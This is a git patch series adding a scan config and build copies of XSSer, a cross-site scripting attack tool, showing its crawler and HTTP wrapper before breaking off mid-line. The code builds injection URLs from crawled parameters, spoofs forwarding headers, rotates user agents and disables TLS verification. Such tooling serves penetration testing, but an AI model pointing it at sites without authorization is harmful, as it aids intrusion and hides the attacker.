From 3df21b3790ada427cb95f937af5380e713f84450 Mon Sep 17 00:00:00 2001 From: "mend-bolt-for-github[bot]" <42819689+mend-bolt-for-github[bot]@users.noreply.github.com> Date: Thu, 20 Jul 2023 13:37:45 +0000 Subject: [PATCH 1/9] Add .whitesource configuration file --- .whitesource | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 .whitesource diff --git a/.whitesource b/.whitesource new file mode 100644 index 0000000..9c7ae90 --- /dev/null +++ b/.whitesource @@ -0,0 +1,14 @@ +{ + "scanSettings": { + "baseBranches": [] + }, + "checkRunSettings": { + "vulnerableCheckRunConclusionLevel": "failure", + "displayMode": "diff", + "useMendCheckNames": true + }, + "issueSettings": { + "minSeverityLevel": "LOW", + "issueType": "DEPENDENCY" + } +} \ No newline at end of file From 60c4e8498a6d846c0268037fd0364c2bcc81ceba Mon Sep 17 00:00:00 2001 From: 4k4xs4pH1r31 Date: Thu, 18 Apr 2024 20:32:54 -0500 Subject: [PATCH 2/9] . --- .../egg/core/__init__.py | 18 + .../egg/core/crawler.py | 331 ++ .../egg/core/curlcontrol.py | 513 +++ .../bdist.macosx-11.1-arm64/egg/core/dork.py | 129 + .../egg/core/encdec.py | 114 + .../egg/core/flashxss.py | 50 + .../egg/core/fuzzing/DCP.py | 59 + .../egg/core/fuzzing/DOM.py | 65 + .../egg/core/fuzzing/HTTPsr.py | 49 + .../egg/core/fuzzing/__init__.py | 18 + .../egg/core/fuzzing/heuristic.py | 73 + .../egg/core/fuzzing/vectors.py | 2612 +++++++++++ .../egg/core/globalmap.py | 611 +++ .../egg/core/gtkcontroller.py | 2005 +++++++++ .../egg/core/imagexss.py | 61 + .../bdist.macosx-11.1-arm64/egg/core/main.py | 3895 +++++++++++++++++ .../egg/core/mozchecker.py | 161 + .../egg/core/options.py | 218 + .../egg/core/post/__init__.py | 18 + .../egg/core/post/xml_exporter.py | 195 + .../egg/core/randomip.py | 41 + .../egg/core/reporter.py | 52 + .../egg/core/threadpool.py | 460 ++ .../egg/core/tokenhub.py | 134 + .../egg/core/twsupport.py | 168 + .../egg/core/update.py | 47 + build/lib/core/__init__.py | 18 + build/lib/core/crawler.py | 331 ++ build/lib/core/curlcontrol.py | 513 +++ build/lib/core/dork.py | 129 + build/lib/core/encdec.py | 114 + build/lib/core/flashxss.py | 50 + build/lib/core/fuzzing/DCP.py | 59 + build/lib/core/fuzzing/DOM.py | 65 + build/lib/core/fuzzing/HTTPsr.py | 49 + build/lib/core/fuzzing/__init__.py | 18 + build/lib/core/fuzzing/heuristic.py | 73 + build/lib/core/fuzzing/vectors.py | 2612 +++++++++++ build/lib/core/globalmap.py | 611 +++ build/lib/core/gtkcontroller.py | 2005 +++++++++ build/lib/core/imagexss.py | 61 + build/lib/core/main.py | 3895 +++++++++++++++++ build/lib/core/mozchecker.py | 161 + build/lib/core/options.py | 218 + build/lib/core/post/__init__.py | 18 + build/lib/core/post/xml_exporter.py | 195 + build/lib/core/randomip.py | 41 + build/lib/core/reporter.py | 52 + build/lib/core/threadpool.py | 460 ++ build/lib/core/tokenhub.py | 134 + build/lib/core/twsupport.py | 168 + build/lib/core/update.py | 47 + build/scripts-3.11/xsser | 36 + xsser.egg-info/PKG-INFO | 3 + xsser.egg-info/SOURCES.txt | 56 + xsser.egg-info/dependency_links.txt | 1 + xsser.egg-info/top_level.txt | 1 + 57 files changed, 24291 insertions(+) create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/__init__.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/crawler.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/curlcontrol.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/dork.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/encdec.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/flashxss.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/fuzzing/DCP.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/fuzzing/DOM.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/fuzzing/HTTPsr.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/fuzzing/__init__.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/fuzzing/heuristic.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/fuzzing/vectors.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/globalmap.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/gtkcontroller.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/imagexss.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/main.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/mozchecker.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/options.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/post/__init__.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/post/xml_exporter.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/randomip.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/reporter.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/threadpool.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/tokenhub.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/twsupport.py create mode 100644 build/bdist.macosx-11.1-arm64/egg/core/update.py create mode 100644 build/lib/core/__init__.py create mode 100644 build/lib/core/crawler.py create mode 100644 build/lib/core/curlcontrol.py create mode 100644 build/lib/core/dork.py create mode 100644 build/lib/core/encdec.py create mode 100644 build/lib/core/flashxss.py create mode 100644 build/lib/core/fuzzing/DCP.py create mode 100644 build/lib/core/fuzzing/DOM.py create mode 100644 build/lib/core/fuzzing/HTTPsr.py create mode 100644 build/lib/core/fuzzing/__init__.py create mode 100644 build/lib/core/fuzzing/heuristic.py create mode 100644 build/lib/core/fuzzing/vectors.py create mode 100644 build/lib/core/globalmap.py create mode 100644 build/lib/core/gtkcontroller.py create mode 100644 build/lib/core/imagexss.py create mode 100644 build/lib/core/main.py create mode 100644 build/lib/core/mozchecker.py create mode 100644 build/lib/core/options.py create mode 100644 build/lib/core/post/__init__.py create mode 100644 build/lib/core/post/xml_exporter.py create mode 100644 build/lib/core/randomip.py create mode 100644 build/lib/core/reporter.py create mode 100644 build/lib/core/threadpool.py create mode 100644 build/lib/core/tokenhub.py create mode 100644 build/lib/core/twsupport.py create mode 100644 build/lib/core/update.py create mode 100755 build/scripts-3.11/xsser create mode 100644 xsser.egg-info/PKG-INFO create mode 100644 xsser.egg-info/SOURCES.txt create mode 100644 xsser.egg-info/dependency_links.txt create mode 100644 xsser.egg-info/top_level.txt diff --git a/build/bdist.macosx-11.1-arm64/egg/core/__init__.py b/build/bdist.macosx-11.1-arm64/egg/core/__init__.py new file mode 100644 index 0000000..59aa55d --- /dev/null +++ b/build/bdist.macosx-11.1-arm64/egg/core/__init__.py @@ -0,0 +1,18 @@ +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2020 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" diff --git a/build/bdist.macosx-11.1-arm64/egg/core/crawler.py b/build/bdist.macosx-11.1-arm64/egg/core/crawler.py new file mode 100644 index 0000000..875f4ee --- /dev/null +++ b/build/bdist.macosx-11.1-arm64/egg/core/crawler.py @@ -0,0 +1,331 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*-" +# vim: set expandtab tabstop=4 shiftwidth=4: +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2021 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import sys +import urllib.request, urllib.parse, urllib.error +import time +import traceback +from . import curlcontrol +from . import threadpool +from queue import Queue +from collections import defaultdict +from bs4 import BeautifulSoup +from bs4.dammit import EncodingDetector +try: + import pycurl +except: + print("\n[Error] Cannot import lib: pycurl. \n\n To install it try:\n\n $ 'sudo apt-get install python3-pycurl' or 'pip3 install pycurl'\n") + sys.exit() +class EmergencyLanding(Exception): + pass + +class Crawler(object): + """ + Crawler class. + """ + def __init__(self, parent, curlwrapper=None, crawled=None, pool=None): + # verbose: 0-no printing, 1-prints dots, 2-prints full output + self.verbose = 0 + self._parent = parent + self._to_crawl = [] + self._parse_external = True + self._requests = [] + self._ownpool = False + self._reporter = None + self._armed = True + self._poolsize = 10 + self._found_args = defaultdict(list) + self.pool = pool + if crawled: + self._crawled = crawled + else: + self._crawled = [] + if curlwrapper: + self.curl = curlwrapper + else: + self.curl = curlcontrol.Curl + + def report(self, msg): + if self._reporter: + self._reporter.report(msg) + else: + print(msg) + + def set_reporter(self, reporter): + self._reporter = reporter + + def _find_args(self, url): + """ + find parameters in given url. + """ + parsed = urllib.parse.urlparse(url) + if "C=" in parsed.query and "O=" in parsed.query: + qs = "" + else: + qs = urllib.parse.parse_qs(parsed.query) + if parsed.scheme: + path = parsed.scheme + "://" + parsed.netloc + parsed.path + else: + path = parsed.netloc + parsed.path + for arg_name in qs: + key = (arg_name, parsed.netloc) + zipped = list(zip(*self._found_args[key])) + if not zipped or not path in zipped[0]: + self._found_args[key].append([path, url]) + self.generate_result(arg_name, path, url) + if not qs: + parsed = urllib.parse.urlparse(url) + if path.endswith("/"): + attack_url = path + "XSS" + else: + attack_url = path + "/XSS" + if not attack_url in self._parent.crawled_urls: + self._parent.crawled_urls.append(attack_url) + ncurrent = sum([len(s) for s in list(self._found_args.values())]) + if ncurrent >= self._max: + self._armed = False + + def cancel(self): + self._armed = False + + def crawl(self, path, depth=3, width=0, local_only=True): + """ + setup and perform a crawl on the given url. + """ + if not self._armed: + return [] + parsed = urllib.parse.urlparse(path) + basepath = parsed.scheme + "://" + parsed.netloc + self._parse_external = not local_only + if not self.pool: + self.pool = threadpool.ThreadPool(self._poolsize) + if self.verbose == 2: + self.report("crawling: " + path) + if width == 0: + self._max = 1000000000 + else: + self._max = int(width) + self._path = path + self._depth = depth + attack_urls = [] + if not self._parent._landing and self._armed: + self._crawl(basepath, path, depth, width) + # now parse all found items + if self._ownpool: + self.pool.dismissWorkers(len(self.pool.workers)) + self.pool.joinAllDismissedWorkers() + return attack_urls + + def shutdown(self): + if self._ownpool: + self.pool.dismissWorkers(len(self.pool.workers)) + self.pool.joinAllDismissedWorkers() + + def generate_result(self, arg_name, path, url): + parsed = urllib.parse.urlparse(url) + qs = urllib.parse.parse_qs(parsed.query) + qs_joint = {} + for key, val in qs.items(): + qs_joint[key] = val[0] + attack_qs = dict(qs_joint) + attack_qs[arg_name] = "XSS" + attack_url = path + '?' + urllib.parse.urlencode(attack_qs) + if not attack_url in self._parent.crawled_urls: + self._parent.crawled_urls.append(attack_url) + + def _crawl(self, basepath, path, depth=3, width=0): + """ + perform a crawl on the given url. + + this function downloads and looks for links. + """ + self._crawled.append(path) + if not path.startswith("http"): + return + + def _cb(request, result): + self._get_done(depth, width, request, result) + + self._requests.append(path) + self.pool.addRequest(self._curl_main, [[path, depth, width, basepath]], + self._get_done_dummy, self._get_error) + + def _curl_main(self, pars): + path, depth, width, basepath = pars + if not self._armed or len(self._parent.crawled_urls) >= self._max: + raise EmergencyLanding + c = self.curl() + c.set_timeout(5) + try: + res = c.get(path) + except Exception as error: + c.close() + del c + raise error + c_info = c.info().get('content-type', None) + c.close() + del c + self._get_done(basepath, depth, width, path, res, c_info) + + def _get_error(self, request, error): + path, depth, width, basepath = request.args[0] + e_type, e_value, e_tb = error + if e_type == pycurl.error: + errno, message = e_value.args + if errno == 28: + print("requests pyerror -1") + self.enqueue_jobs() + self._requests.remove(path) + return # timeout + else: + self.report('crawler curl error: '+message+' ('+str(errno)+')') + elif e_type == EmergencyLanding: + pass + else: + traceback.print_tb(e_tb) + self.report('crawler error: '+str(e_value)+' '+path) + if not e_type == EmergencyLanding: + for reporter in self._parent._reporters: + reporter.mosquito_crashed(path, str(e_value)) + self.enqueue_jobs() + self._requests.remove(path) + + def _emergency_parse(self, html_data, start=0): + links = set() + pos = 0 + try: + data_len = len(html_data) + except: + data_len = html_data + try: + while pos < data_len: + if len(links)+start > self._max: + break + pos = html_data.find("href=", pos) + if not pos == -1: + sep = html_data[pos+5] + if sep == "h": + pos -= 1 + sep=">" + href = html_data[pos+6:html_data.find(sep, pos+7)].split("#")[0] + pos = pos+1 + links.add(href) + else: + break + except: + pass + return [{'href': s} for s in links] + + def _get_done_dummy(self, request, result): + path = request.args[0][0] + self.enqueue_jobs() + self._requests.remove(path) + + def enqueue_jobs(self): + if len(self.pool.workRequests) < int(self._max/2): + while self._to_crawl: + next_job = self._to_crawl.pop() + self._crawl(*next_job) + + def _get_done(self, basepath, depth, width, path, html_data, content_type): + if not self._armed or len(self._parent.crawled_urls) >= self._max: + raise EmergencyLanding + try: + encoding = content_type.split(";")[1].split("=")[1].strip() + except: + encoding = None + try: + soup = BeautifulSoup(html_data, 'html.parser') + links = None + except: + soup = None + links = self._emergency_parse(html_data) + for reporter in self._parent._reporters: + reporter.start_crawl(path) + if not links and soup: + links = soup.findAll('a') + forms = soup.findAll('form') + for form in forms: + pars = {} + if "action" in form: + action_path = urllib.parse.urljoin(path, form["action"]) + else: + action_path = path + for input_par in form.findAll('input'): + if "name" not in input_par: + continue + value = "foo" + if "value" in input_par and input_par["value"]: + value = input_par["value"] + pars[input_par["name"]] = value + for input_par in form.findAll('select'): + pars[input_par["name"]] = "1" + if pars: + links.append({"url":action_path + '?' + urllib.parse.urlencode(pars)}) + else: + links.append({"url":action_path}) + links += self._emergency_parse(html_data, len(links)) + if self.verbose == 2: + self.report(" "*(self._depth-depth) + path +" "+ str(len(links))) + elif self.verbose: + sys.stdout.write(".") + sys.stdout.flush() + if len(links) > self._max: + links = links[:self._max] + for a in links: + try: + #href = str(a['href'].encode('utf-8')) + href = str(a['href']) + except KeyError: + # this link has no href + continue + except: + # can't decode or something darker.. + continue + if href.startswith("javascript") or href.startswith('mailto:'): + continue + href = urllib.parse.urljoin(path, href) + if not href.startswith("http") or not "." in href: + continue + href = href.split('#',1)[0] + scheme_rpos = href.rfind('http://') + if not scheme_rpos in [0, -1]: + # looks like some kind of redirect so we try both too ;) + href1 = href[scheme_rpos:] + href2 = href[:scheme_rpos] + self._check_url(basepath, path, href1, depth, width) + self._check_url(basepath, path, href2, depth, width) + self._check_url(basepath, path, href, depth, width) + return self._found_args + + def _check_url(self, basepath, path, href, depth, width): + """ + process the given url for a crawl + check to see if we have to continue crawling on the given url. + """ + do_crawling = self._parse_external or href.startswith(basepath) + if do_crawling and not href in self._crawled: + self._find_args(href) + for reporter in self._parent._reporters: + reporter.add_link(path, href) + if self._armed and depth>0: + if len(self._to_crawl) < self._max: + self._to_crawl.append([basepath, href, depth-1, width]) diff --git a/build/bdist.macosx-11.1-arm64/egg/core/curlcontrol.py b/build/bdist.macosx-11.1-arm64/egg/core/curlcontrol.py new file mode 100644 index 0000000..3197f6b --- /dev/null +++ b/build/bdist.macosx-11.1-arm64/egg/core/curlcontrol.py @@ -0,0 +1,513 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*-" +# vim: set expandtab tabstop=4 shiftwidth=4: +""" +This file is part of the XSSer project, https://xsser.03c8.net + +Copyright (c) 2010/2020 | psy + +xsser is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 3 of the License. + +xsser is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with xsser; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" +import os, urllib.request, urllib.parse, urllib.error, email, re, time, random, sys +from io import StringIO as StringIO +try: + import pycurl +except: + print("\n[Error] Cannot import lib: pycurl. \n\n To install it try:\n\n $ 'sudo apt-get install python3-pycurl' or 'pip3 install pycurl'\n") + sys.exit() +class Curl: + """ + Class to control curl on behalf of the application. + """ + cookie = None + dropcookie = None + referer = None + headers = None + proxy = None + ignoreproxy = None + tcp_nodelay = None + xforw = None + xclient = None + atype = None + acred = None + #acert = None + retries = 1 + delay = 0 + followred = 0 + fli = None + agents = [] # user-agents + try: + f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents + except: + f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing + for line in f: + agents.append(line) + agent = random.choice(agents).strip() # set random user-agent + + def __init__(self, base_url="", fakeheaders=[ 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg', 'Connection: Keep-Alive', 'Content-type: application/x-www-form-urlencoded; charset=UTF-8']): + self.handle = pycurl.Curl() + self._closed = False + self.set_url(base_url) + self.verbosity = 0 + self.signals = 1 + self.payload = "" + self.header = StringIO() + self.fakeheaders = fakeheaders + self.headers = None + self.set_option(pycurl.SSL_VERIFYHOST, 0) + self.set_option(pycurl.SSL_VERIFYPEER, 0) + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_TLSv1_2) # max supported version by pycurl + except: + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_TLSv1_1) + except: # use vulnerable TLS/SSL versions (TLS1_0 -> weak enc | SSLv2 + SSLv3 -> deprecated) + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_TLSv1_0) + except: + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) + except: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv2) + self.set_option(pycurl.FOLLOWLOCATION, 0) + self.set_option(pycurl.MAXREDIRS, 50) + # this is 'black magic' + self.set_option(pycurl.COOKIEFILE, '/dev/null') + self.set_option(pycurl.COOKIEJAR, '/dev/null') + self.set_timeout(30) + self.set_option(pycurl.NETRC, 1) + self.set_nosignals(1) + + def payload_callback(x): + self.payload += str(x) + self.set_option(pycurl.WRITEFUNCTION, payload_callback) + def header_callback(x): + self.header.write(str(x)) + self.set_option(pycurl.HEADERFUNCTION, header_callback) + + def set_url(self, url): + """ + Set HTTP base url. + """ + self.base_url = url + self.set_option(pycurl.URL, self.base_url) + return url + + def set_cookie(self, cookie): + """ + Set HTTP cookie. + """ + self.cookie = cookie + self.dropcookie = dropcookie + if dropcookie: + self.set_option(pycurl.COOKIELIST, 'ALL') + self.set_option(pycurl.COOKIE, None) + else: + self.set_option(pycurl.COOKIELIST, '') + self.set_option(pycurl.COOKIE, self.cookie) + return cookie + + def set_agent(self, agent): + """ + Set HTTP user agent. + """ + self.agent = agent + self.set_option(pycurl.USERAGENT, self.agent) + return agent + + def set_referer(self, referer): + """ + Set HTTP referer. + """ + self.referer = referer + self.set_option(pycurl.REFERER, self.referer) + return referer + + def set_headers(self, headers): + """ + Set extra headers. + """ + self.set_option(pycurl.HTTPHEADER, [str(headers)]) + + def set_proxy(self, ignoreproxy, proxy): + """ + Set the proxy to use. + """ + self.proxy = proxy + self.ignoreproxy = ignoreproxy + if ignoreproxy: + self.set_option(pycurl.PROXY, "") + else: + self.set_option(pycurl.PROXY, self.proxy) + return proxy + + def set_option(self, *args): + """ + Set the given option. + """ + self.handle.setopt(*args) + + def set_verbosity(self, level): + """ + Set the verbosity level. + """ + self.set_option(pycurl.VERBOSE, level) + + def set_nosignals(self, signals="1"): + """ + Disable signals. + + curl will be using other means besides signals to timeout + """ + self.signals = signals + self.set_option(pycurl.NOSIGNAL, self.signals) + return signals + + def set_tcp_nodelay(self, tcp_nodelay): + """ + Set the TCP_NODELAY option. + """ + self.tcp_nodelay = tcp_nodelay + self.set_option(pycurl.TCP_NODELAY, tcp_nodelay) + return tcp_nodelay + + def set_timeout(self, timeout): + """ + Set timeout for requests. + """ + self.set_option(pycurl.CONNECTTIMEOUT,timeout) + self.set_option(pycurl.TIMEOUT, timeout) + return timeout + + def set_follow_redirections(self, followred, fli): + """ + Set follow locations parameters to follow redirection pages (302) + """ + self.followred = followred + self.fli = fli + if followred: + self.set_option(pycurl.FOLLOWLOCATION , 1) + self.set_option(pycurl.MAXREDIRS, 50) + if fli: + self.set_option(pycurl.MAXREDIRS, fli) + else: + self.set_option(pycurl.FOLLOWLOCATION , 0) + return followred + + def do_head_check(self, urls): + """ + Send a HEAD request before to start to inject to verify stability of the target + """ + for u in urls: + self.set_option(pycurl.URL, u) + self.set_option(pycurl.NOBODY,1) + self.set_option(pycurl.FOLLOWLOCATION, 1) + self.set_option(pycurl.MAXREDIRS, 50) + self.set_option(pycurl.SSL_VERIFYHOST, 0) + self.set_option(pycurl.SSL_VERIFYPEER, 0) + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_TLSv1_2) # max supported version by pycurl + except: + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_TLSv1_1) + except: # use vulnerable TLS/SSL versions (TLS1_0 -> weak enc | SSLv2 + SSLv3 -> deprecated) + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_TLSv1_0) + except: + try: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) + except: + self.set_option(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv2) + if self.fakeheaders: + from core.randomip import RandomIP + if self.xforw: + generate_random_xforw = RandomIP() + xforwip = generate_random_xforw._generateip('') + xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)] + if self.xclient: + generate_random_xclient = RandomIP() + xclientip = generate_random_xclient._generateip('') + xclientfakevalue = ['X-Client-IP: ' + str(xclientip)] + if self.xforw: + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + xforwfakevalue) + if self.xclient: + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + xforwfakevalue + xclientfakevalue) + elif self.xclient: + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + xclientfakevalue) + if self.headers: + self.fakeheaders = self.fakeheaders + self.headers + self.set_option(pycurl.HTTPHEADER, self.fakeheaders) + if self.agent: + self.set_option(pycurl.USERAGENT, self.agent) + if self.referer: + self.set_option(pycurl.REFERER, self.referer) + if self.proxy: + self.set_option(pycurl.PROXY, self.proxy) + if self.ignoreproxy: + self.set_option(pycurl.PROXY, "") + if self.timeout: + self.set_option(pycurl.CONNECTTIMEOUT, self.timeout) + self.set_option(pycurl.TIMEOUT, self.timeout) + if self.signals: + self.set_option(pycurl.NOSIGNAL, self.signals) + if self.tcp_nodelay: + self.set_option(pycurl.TCP_NODELAY, self.tcp_nodelay) + if self.cookie: + self.set_option(pycurl.COOKIE, self.cookie) + try: + self.handle.perform() + except: + return + if str(self.handle.getinfo(pycurl.HTTP_CODE)) in ["302", "301"]: + self.set_option(pycurl.FOLLOWLOCATION, 1) + + def __request(self, relative_url=None, headers=None): + """ + Perform a request and returns the payload. + """ + if self.fakeheaders: + from core.randomip import RandomIP + if self.xforw: + """ + Set the X-Forwarded-For to use. + """ + generate_random_xforw = RandomIP() + xforwip = generate_random_xforw._generateip('') + xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)] + if self.xclient: + """ + Set the X-Client-IP to use. + """ + generate_random_xclient = RandomIP() + xclientip = generate_random_xclient._generateip('') + xclientfakevalue = ['X-Client-IP: ' + str(xclientip)] + if self.xforw: + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + xforwfakevalue) + if self.xclient: + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + xforwfakevalue + xclientfakevalue) + elif self.xclient: + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + xclientfakevalue) + if headers: + self.set_headers(headers) + if self.agent: + self.set_option(pycurl.USERAGENT, self.agent) + if self.referer: + self.set_option(pycurl.REFERER, self.referer) + if self.proxy: + self.set_option(pycurl.PROXY, self.proxy) + if self.ignoreproxy: + self.set_option(pycurl.PROXY, "") + if relative_url: + self.set_option(pycurl.URL,os.path.join(self.base_url,relative_url)) + if self.timeout: + self.set_option(pycurl.CONNECTTIMEOUT, self.timeout) + self.set_option(pycurl.TIMEOUT, self.timeout) + if self.signals: + self.set_option(pycurl.NOSIGNAL, self.signals) + if self.tcp_nodelay: + self.set_option(pycurl.TCP_NODELAY, self.tcp_nodelay) + if self.cookie: + self.set_option(pycurl.COOKIE, self.cookie) + if self.followred: + self.set_option(pycurl.FOLLOWLOCATION , 1) + self.set_option(pycurl.MAXREDIRS, 50) + if self.fli: + self.set_option(pycurl.MAXREDIRS, int(self.fli)) + else: + self.set_option(pycurl.FOLLOWLOCATION , 0) + if self.fli: + print("\n[E] You must launch --follow-redirects command to set correctly this redirections limit\n") + return + """ + Set the HTTP authentication method: Basic, Digest, GSS, NTLM or Certificate + """ + if self.atype and self.acred: + atypelower = self.atype.lower() + if atypelower not in ( "basic", "digest", "ntlm", "gss" ): + print("\n[E] HTTP authentication type value must be: Basic, Digest, GSS or NTLM\n") + return + acredregexp = re.search("^(.*?)\:(.*?)$", self.acred) + if not acredregexp: + print("\n[E] HTTP authentication credentials value must be in format username:password\n") + return + user = acredregexp.group(1) + password = acredregexp.group(2) + self.set_option(pycurl.USERPWD, "%s:%s" % (user,password)) + if atypelower == "basic": + self.set_option(pycurl.HTTPAUTH, pycurl.HTTPAUTH_BASIC) + elif atypelower == "digest": + self.set_option(pycurl.HTTPAUTH, pycurl.HTTPAUTH_DIGEST) + elif atypelower == "ntlm": + self.set_option(pycurl.HTTPAUTH, pycurl.HTTPAUTH_NTLM) + elif atypelower == "gss": + self.set_option(pycurl.HTTPAUTH, pycurl.HTTPAUTH_GSSNEGOTIATE) + else: + self.set_option(pycurl.HTTPAUTH, None) + self.set_option(pycurl.HTTPHEADER, ["Accept:"]) + elif self.atype and not self.acred: + print("\n[E] You specified the HTTP authentication type, but did not provide the credentials\n") + return + elif not self.atype and self.acred: + print("\n[E] You specified the HTTP authentication credentials, but did not provide the type\n") + return + #if self.acert: + # acertregexp = re.search("^(.+?),\s*(.+?)$", self.acert) + # if not acertregexp: + # print "\n[E] HTTP authentication certificate option must be 'key_file,cert_file'\n" + # return + # # os.path.expanduser for support of paths with ~ + # key_file = os.path.expanduser(acertregexp.group(1)) + # cert_file = os.path.expanduser(acertregexp.group(2)) + # self.set_option(pycurl.SSL_VERIFYHOST, 0) + # self.set_option(pycurl.SSL_VERIFYPEER, 1) + # self.set_option(pycurl.SSH_PUBLIC_KEYFILE, key_file) + # self.set_option(pycurl.CAINFO, cert_file) + # self.set_option(pycurl.SSLCERT, cert_file) + # self.set_option(pycurl.SSLCERTTYPE, 'p12') + # self.set_option(pycurl.SSLCERTPASSWD, '1234') + # self.set_option(pycurl.SSLKEY, key_file) + # self.set_option(pycurl.SSLKEYPASSWD, '1234') + # for file in (key_file, cert_file): + # if not os.path.exists(file): + # print "\n[E] File '%s' doesn't exist\n" % file + # return + self.set_option(pycurl.SSL_VERIFYHOST, 0) + self.set_option(pycurl.SSL_VERIFYPEER, 0) + self.header.seek(0,0) + self.payload = "" + for count in range(0, self.retries): + time.sleep(self.delay) + if self.dropcookie: + self.set_option(pycurl.COOKIELIST, 'ALL') + nocookie = ['Set-Cookie: ', ''] + self.set_option(pycurl.HTTPHEADER, self.fakeheaders + nocookie) + try: + self.handle.perform() + except: + return + return self.payload + + def get(self, url="", headers=None, params=None): + """ + Get a url. + """ + if params: + url += "?" + urllib.parse.urlencode(params) + self.set_option(pycurl.HTTPGET, 1) + return self.__request(url, headers) + + def post(self, cgi, params, headers): + """ + Post a url. + """ + self.set_option(pycurl.POST, 1) + self.set_option(pycurl.POSTFIELDS, params) + return self.__request(cgi, headers) + + def body(self): + """ + Get the payload from the latest operation. + """ + return self.payload + + def info(self): + """ + Get an info dictionary from the selected url. + """ + self.header.seek(0,0) + url = self.handle.getinfo(pycurl.EFFECTIVE_URL) + if url.startswith('http'): + self.header.readline() + m = email.message_from_string(str(self.header)) + else: + m = email.message_from_string(str(StringIO())) + #m['effective-url'] = url + m['http-code'] = str(self.handle.getinfo(pycurl.HTTP_CODE)) + m['total-time'] = str(self.handle.getinfo(pycurl.TOTAL_TIME)) + m['namelookup-time'] = str(self.handle.getinfo(pycurl.NAMELOOKUP_TIME)) + m['connect-time'] = str(self.handle.getinfo(pycurl.CONNECT_TIME)) + #m['pretransfer-time'] = str(self.handle.getinfo(pycurl.PRETRANSFER_TIME)) + #m['redirect-time'] = str(self.handle.getinfo(pycurl.REDIRECT_TIME)) + #m['redirect-count'] = str(self.handle.getinfo(pycurl.REDIRECT_COUNT)) + #m['size-upload'] = str(self.handle.getinfo(pycurl.SIZE_UPLOAD)) + #m['size-download'] = str(self.handle.getinfo(pycurl.SIZE_DOWNLOAD)) + #m['speed-upload'] = str(self.handle.getinfo(pycurl.SPEED_UPLOAD)) + m['header-size'] = str(self.handle.getinfo(pycurl.HEADER_SIZE)) + m['request-size'] = str(self.handle.getinfo(pycurl.REQUEST_SIZE)) + m['response-code'] = str(self.handle.getinfo(pycurl.RESPONSE_CODE)) + m['ssl-verifyresult'] = str(self.handle.getinfo(pycurl.SSL_VERIFYRESULT)) + try: + m['content-type'] = 